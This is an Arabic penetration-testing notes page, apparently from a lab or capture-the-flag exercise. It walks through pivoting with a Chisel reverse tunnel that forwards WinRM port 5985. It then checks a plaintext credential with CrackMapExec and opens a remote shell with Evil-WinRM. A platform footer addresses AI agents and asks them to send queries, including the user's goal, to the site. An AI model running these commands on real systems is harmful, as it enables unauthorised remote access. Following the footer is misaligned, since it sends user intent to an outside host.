> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/post-exploitation/pivoting-port-forwarding-5985-winrm.md).

# تحويل المنافذ في التوجيه (WinRM 5985)

## Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**تنزيل الملفات وتجهيزها:**/ لقد قمنا بتنزيل الملفات المضغوطة **Chisel** الملفات، وهي:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

بعد استخراج الملفات، انقل **Chisel** الملف التنفيذي إلى هدف ويندوز:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/8c6091e6846545f9ff1c58fca72abd7eb862e4d0" alt=""><figcaption></figcaption></figure>

**الاستماع على جهاز المهاجم باستخدام Chisel:**/ شغّل **Chisel** في وضع الخادم على جهاز المهاجم على المنفذ 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

ثم، على جهاز ويندوز، نفّذ **Chisel** في وضع العميل ووجّه المنفذ 5985 مرة أخرى إلى جهاز المهاجم:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/d723c6fa1496f4be872081481305ba249cb23481" alt=""><figcaption></figcaption></figure>

**التحقق من إعادة توجيه المنفذ باستخدام `lsof`:**/ لقد تحققنا بالفعل من أن المنفذ 5985 يظهر بشكل صحيح بعد إعادة التوجيه باستخدام الأمر:

<figure><img src="/files/1f6794fd92cea05c68864b449cb74f2a9813032f" alt=""><figcaption></figcaption></figure>

**الاتصال عبر WinRM:**/ استخدمنا الآن **CrackMapExec** لاختبار الاتصال عبر **WinRM** على المنفذ المُعاد توجيهه 5985:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* الـ **تم الاختراق** تؤكد العلامة أن بيانات الاعتماد يمكنها الوصول إلى الجهاز عبر WinRM.

<figure><img src="/files/d2405bca56b26bc93ab5c0cdddb602fd43015598" alt=""><figcaption></figcaption></figure>

**الاتصال النهائي باستخدام Evil-WinRM:**/ أخيرًا، استخدمنا **Evil-WinRM** للحصول على غلاف بعيد باسم **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/post-exploitation/pivoting-port-forwarding-5985-winrm.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
